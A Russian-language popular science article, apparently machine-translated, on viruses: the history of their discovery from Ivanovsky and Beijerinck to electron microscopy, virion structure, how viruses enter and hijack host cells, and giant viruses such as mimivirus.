    В 1892 году русский студент по имени Дмитрий Ивановский, по сути, повторил эксперименты Майера по приготовлению сока, но с небольшим изменением.Согласно статье 1972 года, опубликованной в журнале Bacteriological Reviews, Ивановский пропускал сок из инфицированных листьев через фильтр Чемберленда — фильтр, достаточно тонкий, чтобы улавливать бактерии и другие известные микроорганизмы. Несмотря на просеивание, жидкий фильтрат оставался заразным, предлагая новую часть головоломки; все, что вызывало болезнь, было достаточно маленьким, чтобы пройти через фильтр. Однако Ивановский также пришел к выводу, что причина табачной мозаики была бактериальной, предполагая, что фильтрат «содержал либо бактерии, либо растворимый токсин».«Только в 1898 году было признано наличие вирусов. Голландский ученый Мартинус Бейеринк, подтверждая результаты Ивановского, предположил, что причиной болезни табачной мозаики являются не бактерии, а «живой жидкий вирус», применив к нему устаревший термин «фильтруемый вирус».

    Последующие эксперименты Ивановского, Бейеринка и других указали лишь на существование вирусов. Пройдет еще несколько десятилетий, прежде чем кто-нибудь действительно увидит вирус. Согласно статье 2009 года, опубликованной в журнале Clinical Microbiology Reviews, после разработки электронного микроскопа в 1931 году немецкими учеными Эрнстом Руска и Максом Кноллем, первый вирус можно было визуализировать с помощью новой технологии высокого разрешения.Эти первые изображения, сделанные Руской и его коллегами в 1939 году, были вирусом табачной мозаики. Таким образом, открытие вирусов замкнулось.

    Это раскрашенное в цифровом виде изображение показывает вирус гриппа h2N1 под просвечивающим электронным микроскопом. В 2009 году этот вирус (тогда он назывался свиным гриппом) вызвал пандемию и, как считается, убил 200 000 человек во всем мире. (Изображение предоставлено Национальным институтом аллергии и инфекционных заболеваний (NIAID))

    Структура

    Вирусы колеблются на границах того, что считается жизнью.С одной стороны, они содержат ключевые элементы, из которых состоят все живые организмы: нуклеиновые кислоты, ДНК или РНК (у любого вируса может быть только одно или другое). С другой стороны, вирусы не обладают способностью самостоятельно считывать информацию, содержащуюся в этих нуклеиновых кислотах, и воздействовать на нее.

    «Минимальный вирус — это паразит, которому требуется репликация (создание большего количества копий самого себя) в клетке-хозяине», — сказал Джаклин Дадли, профессор молекулярной биологии Техасского университета в Остине.«Вирус не может воспроизводить себя вне хозяина, потому что ему не хватает сложного механизма, которым обладает [хозяйская] клетка». Клеточный аппарат хозяина позволяет вирусам производить РНК из своей ДНК (процесс, называемый транскрипцией) и строить белки на основе инструкций, закодированных в их РНК (процесс, называемый трансляцией).

    Когда вирус полностью собран и может заразиться, он известен как вирион. По мнению авторов «Медицинской микробиологии 4-е изд.» (Медицинский филиал Техасского университета в Галвестоне, 1996 г.), структура простого вириона состоит из внутреннего ядра нуклеиновой кислоты, окруженного внешней оболочкой из белков, известной как капсид.Капсиды защищают вирусные нуклеиновые кислоты от пережевывания и разрушения специальными ферментами клетки-хозяина, называемыми нуклеазами. У некоторых вирусов есть второй защитный слой, известный как оболочка. Этот слой обычно происходит из клеточной мембраны хозяина; маленькие украденные биты, которые модифицируются и перепрофилируются для использования вирусом.

    ДНК или РНК, обнаруженные в ядре вируса, могут быть одноцепочечными или двухцепочечными. Он составляет геном или совокупность генетической информации вируса.Вирусные геномы обычно имеют небольшой размер и кодируют только основные белки, такие как белки капсида, ферменты и белки, необходимые для репликации в клетке-хозяине.

    Функция

    Основная роль вируса или вириона заключается в «доставке его генома ДНК или РНК в клетку-хозяина, чтобы геном мог быть экспрессирован (транскрибирован и транслирован) клеткой-хозяином», согласно «Медицинской микробиологии». »

    Во-первых, вирусам необходимо проникнуть внутрь тела хозяина. Дыхательные пути и открытые раны могут действовать как ворота для вирусов.Иногда насекомые обеспечивают способ проникновения. Некоторые вирусы проникают в слюну насекомого и попадают в организм хозяина после укусов насекомых. По словам авторов «Молекулярной биологии клетки, 4-е издание» (Garland Science, 2002), такие вирусы могут реплицироваться как внутри клеток насекомых, так и в клетках-хозяевах, обеспечивая плавный переход от одного к другому. Примеры включают вирусы, вызывающие желтую лихорадку и лихорадку денге.

    Вирусы затем прикрепляются к поверхности клетки-хозяина.Они делают это, распознавая рецепторы на поверхности клетки и связываясь с ними, как две взаимосвязанные части головоломки. Многие разные вирусы могут связываться с одним и тем же рецептором, и один вирус может связываться с разными рецепторами на поверхности клетки. В то время как вирусы используют их в своих интересах, рецепторы на поверхности клетки на самом деле предназначены для обслуживания клетки.

    После того, как вирус связывается с поверхностью клетки-хозяина, он может начать перемещаться через внешнее покрытие или мембрану клетки-хозяина. Есть много разных способов входа.ВИЧ, вирус с оболочкой, сливается с мембраной и проталкивается через нее. Другой вирус в оболочке, вирус гриппа, попадает в клетку. Некоторые вирусы без оболочки, такие как вирус полиомиелита, создают пористый канал входа и проникают через мембрану.

    Попав внутрь, вирусы высвобождают свои геномы, а также разрушают или захватывают различные части клеточного аппарата. Вирусные геномы заставляют клетки-хозяева в конечном итоге производить вирусные белки (много раз останавливая синтез любой РНК и белков, которые может использовать клетка-хозяин).В конечном итоге вирусы складываются в свою пользу как внутри клетки-хозяина, так и внутри самого хозяина, создавая условия, которые позволяют им распространяться. Например, по данным «Молекулярной биологии клетки», при простуде при чихании выделяется 20 000 капель, содержащих частицы риновируса или коронавируса. Прикосновение к этим каплям или вдох — все, что нужно, чтобы простуда распространилась.

    Вид вируса Эбола под микроскопом. (Изображение предоставлено CDC / Cynthia Goldsmith / Public Health Image Library)

    Новые открытия

    Понимание взаимоотношений между вирусами началось с выявления сходства по размеру и форме, содержат ли вирусы ДНК или РНК и в какой форме.Благодаря более совершенным методам секвенирования и сравнения вирусных геномов и постоянному притоку новых научных данных, то, что мы знаем о вирусах и их истории, постоянно уточняется.

    До 1992 года представление о том, что вирусы намного меньше бактерий с крошечным геномом, считалось само собой разумеющимся. По словам Весснера, в том году ученые обнаружили структуру, похожую на бактерии, внутри некоторых амеб в градирне. Как оказалось, они обнаружили не бактериальный вид, а очень большой вирус, который они назвали мимивирусом.Размер вируса составляет около 750 нм, и он также может иметь те же свойства окрашивания, что и грамположительные бактерии. За этим последовало открытие других крупных вирусов, таких как Mamavirus и Megavirus.

    «Неизвестно, как развивались эти большие вирусы», — сказал Дадли, назвав их «слонами» вирусного мира. «Это могут быть вырожденные клетки, которые стали паразитами других клеток (мимивирусы заражают амебу), или это могут быть более типичные вирусы, которые продолжают приобретать дополнительные гены хозяина», — добавила она.Мимивирусам, как и другим более мелким вирусам, требуется клеточный аппарат хозяина для производства белков. Однако их геном по-прежнему содержит много остатков генов, связанных с процессом трансляции. Возможно, что когда-то мимивирусы были независимыми клетками. Или они могли просто приобрести и накопить какие-то гены хозяина, — писал Весснер.

    Такие открытия поднимают новые вопросы и открывают новые возможности для исследований. В будущем эти исследования могут дать ответы на фундаментальные вопросы о происхождении вирусов, о том, как они достигли своего нынешнего паразитарного состояния и следует ли включать вирусы в древо жизни.

    Дополнительные ресурсы

    .

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *